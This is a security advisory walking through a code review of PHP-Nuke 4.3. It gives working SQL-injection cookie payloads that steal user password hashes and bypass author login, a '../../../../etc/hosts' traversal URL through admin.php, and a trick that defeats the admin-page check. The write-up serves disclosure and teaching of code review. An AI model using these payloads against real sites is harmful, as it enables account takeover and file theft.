COMMAND
PHP-Nuke
SYSTEMS AFFECTED
PHP-Nuke
PROBLEM
'rain forest puppy (RFP)' found following (tested on v4.3).
PHP-Nuke is a pretty groovy web portal/news system written in PHP.
RFP was actually so impressed with its look, and even more so by
some of its features, that he decided to use it for two upcoming
projects, and like any other piece of code he decide to use, he
gave it a quick code review (via la open source!). While he was
happy with the code in general, it did exhibit a few security
problems involving tampering with SQL statements.
This is not an extremely useful hack--it allows you to
impersonate other users and retrieve their password hashes. It
also has a caveat that could allow an attacker to easily brute
force an author (admin) password.
First off, to better aid SQL hacking, it helps to turn on SQL
query logging. In MySQL, this is a matter of adding the '-l
logfile' parameter to (safe_)mysqld when starting it. Next, let's
take a look at the code. Since this is written in PHP and uses
MySQL, our target function is mysql_query(). So let's grep for
all uses of mysql_query():
[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php
[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
.... 254 more lines of SQL queries that I don't want to print here ....
Now, lets take a look at those that contain variables, since it's
possible user input is contained in those variables. For example,
a few select lines from that output:
article.php: mysql_query("update users set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
banners.php: mysql_query("delete from banner where bid=$bid");
comments.php: $something = mysql_query("$q");
user.php: $result = mysql_query("select email, pass from users where
(uname='$uname')");
index.php: mysql_query("insert into referer values (NULL, '$referer')");
The query from article.php contains four variables: $mode, $order,
$thold, and $cookie[0]. The banners.php is interesting, because
it seems that the entire query is contained within the $q
variable, meaning we must look inside the file to see what the
value is. In doing that, we get:
$q = "select tid, pid, sid, date, name, email, url, host_name,
subject, comment, score, reason from comments where sid=$sid
and pid=$pid";
if($thold != "") {
$q .= " and score>=$thold";
} else {
$q .= " and score>=0";
}
if ($order==1) $q .= " order by date desc";
if ($order==2) $q .= " order by score desc";
So we see that $q used the variables $sid and $pid, and perhaps
$thold, if it's defined.
So what do we do now? Well, let's take a look at what is actually
in some of those variables. We'll start with the above query
listed for article.php. Here is the actual code, with comments
removed:
<?PHP
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
The code was reformatted for display in this advisory.
So we see that nothing is apparently done to $mode, $order,
$thold, or $cookie[0]. However, mainfile.php is included and
something may be happening in the cookiedecode() function, so we
need to check them out.
First, let's see if mainfile.php defines the variables $mode,
$order, $thold, or $cookie:
[rfp@cide nuke]# grep \$mode mainfile.php
[rfp@cide nuke]# grep \$order mainfile.php
[rfp@cide nuke]# grep \$thold mainfile.php
[rfp@cide nuke]#
Hmm, so mainfile.php doesn't do anything with those variables.
However, a plethora of stuff is returned for $cookie (this is not
shown). This is due to cookiedecode() (and other similar
functions) contained in mainfile.php. So, here is the code to
cookiedecode():
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
return $cookie;
}
The call to cookiedecode() takes the string in $user, base64
decodes it, and then splits it into parts around the ':'
character, putting it into the array $cookie[]. This makes sense,
since the above SQL query is using $cookie[0], the first element
of the array.
Huh? Where does $user come from? A grep through mainfile.php
shows that $user is only used in functions.
Wow. That means the author does not do *anything* to $user (which
is decoded and split into $cookie[0]), $mode, $order, $thold. For
those of you that are not familiar with PHP, PHP will define
global variables with values taken from URL parameters. For
example, a query of:
/somefile.php?varb1=rain&value2=forest¶m3=puppy
will make three global variables in the script $varb1, $value2,
and $param3 with the values of 'rain', 'forest', and 'puppy',
respectively. This means that we can plug in arbitrary values
for $mode, $order, and $thold for article.php by requesting an
URL that looks something like:
/article.php?mode=rain&order=forest&thold=puppy
But before we do that, there's one more piece we're forgetting,
the snippet:
if($save) {
...
That means the $save variable has to be set. A quick grep through
mainfile.php shows that $save is not referenced, meaning it needs
to be included in the URL. This gives us:
/article.php?mode=rain&order=forest&thold=puppy&save=1
So let's try it. Requesting this page, nothing is returned,
because we forgot about the following line:
if(!isset($sid) && !isset($tid)) { exit(); }
Ugh, so we need to add $sid and $tid to the URL line, which is
now:
/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0
This returns a page that has an error. Looking at our mysql query
logs, there's an entry for:
1 Query update users set umode='rain', uorder='forest', thold='puppy' where uid=''
This proves that it's working. We can now submit values into the
SQL query. We now need to see if we can *tamper* with the query.
We will attempt to ‘rewrite’ the query so that it will include
other SQL code. Doing this involves some trickery: the addition
of some extra single quotes. What we'll do is change $thold to
read:
puppy', thold='puppy
This should result in a query that looks like:
update users set umode='rain', uorder='forest',
thold='puppy', thold='puppy' where uid=''
^^^^^^^^^^^^^^^^^^^^
the data we submit
Sure, it's not exactly a useful SQL statement, but we're only
verifying our exploit method. So let's fire that into the URL
and submit it:
/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&save=1&sid=0&tid=0
This results in a mysql log of:
5 Query update users set umode='rain', uorder='forest', thold='puppy\', thold=\'puppy' where uid=''
DRAT! It seems PHP automatically escapes the ' (it changes them
into \') when they are processed from URL parameters. Granted,
we are using PHP 4, so perhaps PHP 3.x doesn't, but still. From
the exploit angle, this sucks. From the security angle, this
rocks.
Anyway, all is not lost. At this point, we know that global
variables being thrown into SQL statements *may* sometimes be
safe (it may be PHP version dependant). But let's go back and
look at the cookiedecode() function. It takes a global value
($user), base64 decodes it, splits it, and puts it into the
$cookie[] array. Note that $user could be in a HTTP cookie, or
it could be a URL parameter--PHP doesn't make a distinction
(well, at least this code doesn't).
Since the actual value is encoded by base64 encoding, PHP doesn't
do any escaping on the value that's encoded. Meaning whatever we
put in the $user value should be safe. Let's see.
First, we need to get the right value. Since cookiedecode()
expects to split a value with the ':' character and use the first
value, we at least need 'something:' as our value. The
'something' is our text. For now, we'll set it to be
'www.cipherwar.com:'. Now, we need to base64 encode it. A quick
little commandline ditty:
[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb206
====
This means we need to add the following to our URL:
&user=d3d3LmNpcGhlcndhci5jb206
And when we run the above URL with the extra user parameter, our
mysql logs show:
7 Query update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com'
Rock! Ok, now can we escape the SQL statement?
[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |
uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
====
Putting that in the URL and submitting it, my mysql log now shows:
3 Query update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com' or uid='1'
!@$%! It worked! As we can see, our values are unmolested,
allowing us to tamper with the query. However, we're slightly
limited in our exploitation, due to a few caveats of MySQL. For
those of you who are familiar with SQL hacking, and particularly
some of the tricks published in the past, MySQL does not allow
multiple SQL commands to be submitted in one query. That means
something like:
mysql_query("select * from table1; select * from table2");
It does not run two 'selects'--it only runs the first, and drops
the second into oblivion. However (don't lose hope), RFP found
this tidbit on the MySQL TODO list:
Fix `libmysql.c' to allow two mysql_query() commands in a row
without reading results or give a nice error message when one
does this.
But also listed on the TODO list:
Subqueries. select id from t where grp in (select grp from g
where u > 100)
Both of which would greatly increase the SQL hacking aspect of
MySQL. In the meantime, that doesn't help us (unless the site
rewrote PHP-Nuke to use a different database engine, such as
Postgres. But this is doubtful). This means we have the
limitation of only tampering with the query given (i.e. we can't
add a separate query). Since PHP escapes URL parameter variables
we are also limited, unless the query contains a variable that
was parsed by the script in some form (such as with
cookiedecode()). Hmm, that's quite a few limitations.
So let's look at the query we've been running:
mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'");
By specifying an arbitrary uid value, we can clobber the umode,
uorder, and thold values of any user. Though annoying, it is
hardly a critical security problem, since umode, uorder, and thold
are just the display preferences of a user. Let's look at the
entire code snippet:
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
After calling cookiedecode() and running the first query, there's
a call to getusrinfo(), and then a bunch of the user's information
is base64 encoded and sent to us as a cookie. However, notice!
The $userinfo[pass] value is included! This means, if we're
careful, we may possibly be sent a cookie that contains a user's
password. All we need to do is get past getusrinfo():
function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email,
femail, url, pass, storynum, umode, uorder,
thold, noscore, bio, ublockon, ublock, theme,
commentmax from users where uname='$user3[1]'
and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "<b>A problem occured</b><br>";
}
return $userinfo;
}
Hmm, ok, let's see. Again, it takes the $user value, base64
decodes it (just like cookiedecode()), then runs a query using
parts 2 and 3 from the cookie ($user3[1] and $user3[2],
respectively). However, to correctly work, we need to know the
right uname and pass of the target user, otherwise the SQL query
will return 0 rows, and will display "A problem occured". If we
already know the username and password of a user, we wouldn't be
going through this, now would we?
So, can we tamper with the query? We're looking to return all the
user data for the record where "uname='name' and pass='password'".
Perhaps if we broaden the search criteria, we can do better.
Consider a query that looks like:
... where uname='name' and pass='password' or uname='name'
Logically, the query is grouped like so:
... where (uname='name' and pass='password') or (uname='name')
So now, if we know a user's username (which we should), but not
their password, the first clause will fail; however, the second
will succeed! Or at least, that's the plan....
So let's test that hypothesis. Now we need to make our $user
variable contain something like:
uid:username:blah' or uname='username
On tested system RFP wanted to target the user 'test1'. So we are
going to try the values:
1:test1:blah' or uname='test1
Now, let's encode that:
[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | uuencode -m f
begin-base64 644 f
MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
====
Put that in our query above, and try it out. Lo and behold, we
sent a Cookie that looks like:
Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
expires=Friday, 29-Dec-00 20:14:00 GMT
Now, the user value is base64 encoded. RFP has his own way to
base64 decode stuff, but to be compatible with what we have been
writing (i.e. using the command line), the best way is to create a
file (let's call it 'encode') with the following contents:
begin-base64 666 user
MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
===
Note: replace all %3D with '=', and don't include the ending ';'
Now, run the following command:
[root@cide nuke]# uudecode encode; cat user
uudecode: encode: illegal line
1:test1:lfkSv9NQ1eklg:10:rain:0:0:0
And there we go--that's the uid, username, password, etc of the
target user (test1). Now, before you think that we use *really*
strong passwords, you should know that PHP-Nuke uses password
hashing. That means you'll have to crack the password hash to
get the actual password.
But does that matter? We are going to hop over to user.php.
User.php is the script that manages user information, including
login, new user registrations, user information changes, etc.
Particularly, what does it take to change a user's information?
Well, let's see:
function edituser() {
global $user, $userinfo;
include("header.php");
getusrinfo($user);
nav();
?>
<table cellpadding=8 border=0><tr><td>
<form action="user.php" method="post">
<b><?php echo translate("Real Name"); ?></b> <?php echo
translate("(optional)"); ?><br>
<input class=textbox type="text" name="name" value="<?PHP
echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
...
Hmmm, so it includes header.php (which just inserts the correct
heading HTML for the user's preferred theme). Then it calls
getusrinfo(). Well, we just went through how we can abuse
getusrinfo() to set $userinfo to any value. After edituser()
calls getuserinfo(), it then calls nav(), followed by starting to
print out all the user's information. So, it seems, if we have
the valid user cookie, we can successfully become that user--we
don't even need to crack the password.
But the edituser() function is called when we want to view
information. If we want to modify a user's information, we'd have
to get past the saveuser() function, which starts off with:
function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
$vpass, $bio) {
global $user, $cookie, $userinfo, $EditedMessage,
$system, $minpass;
cookiedecode($user);
// Vulnerability fix thanks to DrBrain
$user_check=$cookie[1];
$result=mysql_query("select uid from users where
uname='$user_check'");
$vuid=mysql_result($result,0,"uid");
if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
...
Of course, what's interesting about this is that it was already
'fixed' for a security vulnerability. Let's take a look at what
the code is doing...
cookiedecode() decodes the $user value into the $cookie array. We
supply the $uid, $user, and $uname values. So the pseudo-code for
this looks like:
- Decode $user into $cookie array
- Look up the uid of the user given in $cookie (from $user, which
we supply)
- If the username in $cookie (which we give) matches the username
in $uname (which we give), and the $uid (which we give) matches
the uid of the username given in $cookie (which we give), then
proceed
It seems the actual crux of this code makes sure our supplied
cookie matches the username we're giving as a parameter, and that
we know the correct userid (uid) to go along with our target
username. If we go back up to the edituser() above, you'll find
out that the uid of the username queried is returned as a hidden
field (we didn't include that snippet of code). So we can do a
query to edituser() to get the uid, and then to saveuser() with
the approriate cookie, uname, and uid values.
But of course, what good does that do? Sure, we can take over
user accounts. But the gem would be something with administrative
access, which in PHP-Nuke's case, are considered 'authors'.
So what do we know about author accounts? Taking a peek in
nuke.sql, which is the initial SQL script for PHP-Nuke, we see
that author and user information are kept in separate tables--that
means we need to find a SQL query that is querying the author
table specifically. So, let's see:
[root@cide nuke]# grep mysql_query *|grep author
admin.php: $result = mysql_query("select radminarticle,
radmintopic,radminleft,radminright,radminuser,radminmain,
radminsurvey,radminsection,radminlink,radminephem,radminfilem,
radminhead,radminsuper from authors where aid='$aid'");
auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");
auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");
mainfile.php: $holder = mysql_query("SELECT url, email FROM authors
where aid='$aid'");
mainfile.php: mysql_query("insert into stories values (NULL,
'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
'$author', '$notes')");
search.php: $thing = mysql_query("select aid from authors order by
aid");
stats.php:$result = mysql_query("select * from authors");
top.php:$result = mysql_query("select aid, counter from authors order
by counter DESC limit 0,$top");
Hmm, so only 8 hits. The second query in mainfile.php doesn't
actually query the “author” table, and the stats.php doesn't
include any variables, so those can be scratched. Top.php is
severely limited--if MySQL allowed extra queries to be appended
(like I've discussed in the past and above), then it would have
possibility; but in our case, it doesn't, so we don't need to
spend time on it. Mainfile.php doesn't retrieve any interesting
information from the “author” table, so we can't really abuse it.
So that leaves us with admin.php and auth.inc.php.
Admin.php is the page where administrators log in and perform
administrative functions. The first thing admin.php does is call
auth.inc.php, so that means, essentially, we need to fool
auth.inc.php to do anything we want. Now, there are two pieces to
auth.inc.php...the initial login, and the standard author password
check:
Initial login:
if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
if($aid!="" AND $pwd!="") {
$result=mysql_query("select pwd from authors where aid='$aid'");
list($pass)=mysql_fetch_row($result);
if($pass == $pwd) {
$admin = base64_encode("$aid:$pwd");
setcookie("admin","$admin",time()+2592000);
}
}
}
Standard author password check:
if(isset($admin)) {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo .... bunch of HTML ....;
exit;
}
$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}
Now, what's interesting about the initial login snippet is that,
like article.php, if we can trick it into thinking we're the
user, it will return to us a cookie with the username and
password. However, to get author status, we need to trick the
standard author password check snippet into setting $admintest=1.
Looking at the initial login snippet, we see that we need to
tamper with the $aid parameter; but, as discussed earlier, PHP
doesn't allow us to include SQL escaping tricks, so it's a
relative dead end.
Now the other snippet pulls those values from the $admin 'cookie'
value, which we know we can tamper with (as seen earlier). So
we're really left dealing with the following query:
$result=mysql_query("select pwd from authors where aid='$aid'");
And we must meet this requirement:
if($pass == $pwd && $pass != "") {
Hmm, that's tough. We must somehow manipulate the query to
return a known value, that cannot be blank. Given the query, it
will only return values in the 'pwd' column. Heck, if we knew
those values already, we wouldn't need to be doing this. So we
sat stumped, trying to figure out what to do. Then something
occurred to RFP. We need to know the value the query is going to
return. That value needs to be the password of an existing
author. So, what if we did a search for the password? Imagine
this query:
select pwd from authors where aid='arbitrary' or pwd='password'
This would perform a query and select records where aid had a
value of 'arbitrary' or password had a value of 'password'. Hmmm.
So what good is that?
What's advantageous about this is that it will match if *any*
author has the 'password' (or whatever we specify) as their
password. We can manipulate it by supplying an aid value of:
' or pwd='common_password
So then if any author has a password that matches what we sent
(common_password in this case), the $pwd variable is sent to
'common_password'. If we also set pass=commmon_password, then
$pass==$pwd, and we're authenticated as an author. Actually,
we're authenticated as the author that has the password we
supplied. PHP-Nuke does allow different 'rights' to be set for
each author, and we many not have rights to do anything, but
still, we have author status. That's all this exercise was meant
for.
Before you become really disappointed, you should take a look at
some of the options available to authors. Surprisingly, no rights
are required to do such things as run 'env' (which essentially
gives you php_info()), 'show' (view arbitrary files viewable by
the webserver's uid), 'chdr' (get nicely formatted directory
listings), 'edit' (write contents into files writable by the
webserver's uid), etc.
As far as SQL hacking goes, that's it for PHP-Nuke. Hope you
enjoyed the long example!
PHP-Nuke includes a few other things that RFP felt would be nifty
to point out, in regards to this being an educational walk-through
in reviewing PHP code. When RFP sit down to review some code, the
first things he look at are system-interaction functions,
particularly filesystem interaction and command execution. In
PHP, some of the target functions include:
exec() - run external commands
passthru() - run external commands
system() - run external commands
fopen() - open a file (or URL)
readfile() - output a file (or URL)
include() - include a file (or URL)
include_once() - (same as include)
The first three deal with executing programs. The other four
deal with reading files. Note that require()/require_once() are
expanded on initialization, meaning there is no room to tamper
with them during execution and therefore they are not reviewed.
So, how do we start evaluating the use of these functions? The
easiest place to start is grep:
[root@cide nuke]# grep exec *
stats.php:$time = (exec("date"));
stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";
stats.php:exec ("df", $x);
Hmm, three hits. However, none of them contain any variables (the
$x in the 'df' one is for output), so we can't tamper with any of
them. Moving on...passthru() doesn't yeild any hits. System()
yeilds some hits, but they are mostly text and variable names--no
actual use of the system() function.
So let's move on to the file functions. What's unique to PHP is
that you can actually supply an URL to a file function, and PHP
will remotely fetch it and use it. So this gives us the added
bonus of possibly being able to pull in code from external
systems--a fun feature indeed!
So let's see:
[root@cide nuke]# grep fopen *
admin.php: $fp=fopen($basedir.$file,"w");
admin.php: $fp=fopen($basedir.$file,"r");
admin.php: $fp=fopen($basedir.$filelocation,"w");
mainfile.php: $file = fopen("$ultra", "w");
mainfile.php: $fpread = fopen($headlinesurl, 'r');
mainfile.php: $fpwrite = fopen($cache_file, 'w');
Hmm, well the admin.phps are promising, pending on where $basedir
and $file/$filelocation are defined. Same with mainfile.php and
$headlines/$cache_file. So looking at admin.php we see that
$basedir is defined at:
$basedir = dirname($SCRIPT_FILENAME);
This is essentially the directory where the script is. Looking
around, you can see that $file is not defined anywhere, meaning
we can specify it in the URL parameters! Looking at the 'show'
and 'edit' operations in admin.php, our hunch is right--'show'
will open the file specified by $basedir.$file, just like edit.
We can't really control $basedir, but we can control $file. So
if we use '..' (otherwise known as "reverse directory traversal",
and **NOT TRANSVERSAL**!...'traverse' means to move or travel
along...'transverse' means to be crosswise or at an angle with.
Sorry, pet peeve). That means calling the 'edit' operation in
admin.php with a file parameter set to something like
'../../../../etc/hosts' allows us to view the contents of the
system's hosts file. The other fopen's can be abused in the same
manner.
So let's move on to mainfile.php. Looking at $headlinesurl:
$result = mysql_query("select sitename, url, headlinesurl from
headlines where status=1");
while (list($sitename, $url, $headlinesurl) =
mysql_fetch_row($result)) {
It's a static query into the headlines table. Unless we can
insert values into the headlines database, it's not much good to
us. $cache_file is defined as:
$cache_file = "cache/$sitename.cache";
using the $sitename from the same query as $headlinesurl.
Moving on to include_once() and readfile(), returns zero hits.
But include() is used a lot...in fact, it's used 355 times. But
that's because it's used to include other files, particularly the
header and footer of the theme, etc. Considering we're only
interested in include()'s that contain variables, we can filter
out the cruft and keep the interesting ones:
footer.php: include("themes/$cookie[9]/footer.php");
footer.php: include("themes/$Default_Theme/footer.php");
header.php: include("themes/$cookie[9]/theme.php");
header.php: include("themes/$cookie[9]/header.php");
header.php: include("themes/$Default_Theme/theme.php");
header.php: include("themes/$Default_Theme/header.php");
mainfile.php: include("language/lang-$language.php");
mainfile.php: include($cache_file);
header.php and footer.php use the include()'s to include the
appropriate file for the user's preferred theme (or uses the
$Default_Theme if not specified). $language and $cache_file are
also defined in mainfile.php, so mainfile.php is a dead end.
Let's look at header.php. The relevant code looks like:
if (!isset($index)) {
include("config.php");
global $artpage, $topic;
} else {
global $site_font, $sitename, $artpage, $topic, $banners,
$Default_Theme, $uimages;
}
....
if(isset($user)) {
$user2 = base64_decode($user);
$cookie = explode(":", $user2);
if($cookie[9]=="") $cookie[9]=$Default_Theme;
if(isset($theme)) $cookie[9]=$theme;
include("themes/$cookie[9]/theme.php");
include("themes/$cookie[9]/header.php");
} else {
include("themes/$Default_Theme/theme.php");
include("themes/$Default_Theme/header.php");
}
So here we see the include is using $cookie[9] if $user is set, or
$Default_Theme if not. $Default_Theme is defined in config.php,
which is included above if $index is not defined.
Did you get that? Perhaps you should read it again...
"$Default_Theme is defined in config.php, which is included above
if $index is not defined." Huh. So if we define $index (by
including index=1 in our URL), config.php is NOT included, and
therefore we can specify an arbitrary $Default_Theme value in the
URL as well. Let's test this.
We are going to request the following URL:
/header.php?index=1&Default_Theme=rain.forest.puppy
We are greeted with the following PHP errors:
Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 97
Warning: Failed opening 'themes/rain.forest.puppy/header.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 98
Wow, it worked. So, can we submit values for Default_Theme that
would allow us to include arbitrary files? Unfortunately the
'themes/' is prefixed, so we can't use PHP's cool
remote-URL-fetch-file-include feature.
We can definately use '..' notation to go into parent directories.
However, the problem is that '/theme.php' is always appended to
whatever we submit. We can't view '../../../../etc/hosts' because
the final include() is called with the value:
themes/../../../../etc/hosts/theme.php
So we need to somehow ditch the extra '/theme.php' that's being
appended. Those of you who read my Phrack 55 article ("Perl CGI
Problems") may recall the 'Poison Null Byte' scenario we talked
about. For those of you who haven't read it, a copy is available
at:
http://www.wiretrip.net/rfp/p/doc.asp?id=6
The Poison Null Byte scenario involves submitting a NULL character
in an attempt to get the application to ignore the extra appended
crap. The theory goes something like this:
- We submit:
../../../../etc/hosts<NULL>
(<NULL> is the NULL character, and not the 6-character string
<NULL>)
- The application puts it all together into:
themes/../../../../etc/hosts<NULL>/theme.php
- The application gives it to the sytem to include()
- The system reads up the NULL byte, and stops there, since system
functions are built to stop processing a string once a NULL byte
is reached
- Since the system stops at the NULL byte, they are effectively
opening themes/../../../../etc/hosts
So RFP tried it. And it doesn't work. In fact, RFP tried all 255
values (every possible character)--nadda. PHP is smart and
doesn't fall for that trick. So this attack won't work, unless
someone knows some way to fool PHP like you can fool the other
scripting languages. But we thought it had some educational value
and was worth mentioning.
There is one last thing I’d like to point out. The admin.php
script include()'s a bunch of supporting scripts found in the
/admin/ directory. Each of these scripts includes a 'safety
check' that looks like:
if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }
This essentially scans the URL to see if admin.php is the file
being used (i.e. we're calling admin.php, and admin.php is then
include()'ing the file, versus us calling it directly). However,
the regex performed by eregi doesn't work--all it cares about is
that admin.php is included *somewhere* in the URL. Imagine the
following request:
/admin/authors.php/admin.php
This will actually call the /admin/authors.php (which contains the
above safety check). The extra '/admin.php' is superfluous and
not used. But the regex performed by eregi() will still see the
extra '/admin.php' part, and therefore it will check out OK. So
the check was subverted. However, there is nothing usable (that
we saw) in any of the /admin/ files, and the SQL queries won't
work since the SQL connection info is defined in config.php, which
is included via admin.php (and not in any of the individual
/admin/ files). But it was still interesting to point out why
this method of checking doesn't necessarily work.
SOLUTION
RFP contacted the author on Dec 29, 2000. Unfortunately, the
author misunderstanded RFP's intentions. The authors view, in
regards to security, can be viewed at the following two locations:
http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
http://www.securityfocus.com/archive/1/162261
Of course, his point is valid: people point out flaws, and don't
help fix them. Not sure is PHP-nuke 4.4 is fixing this.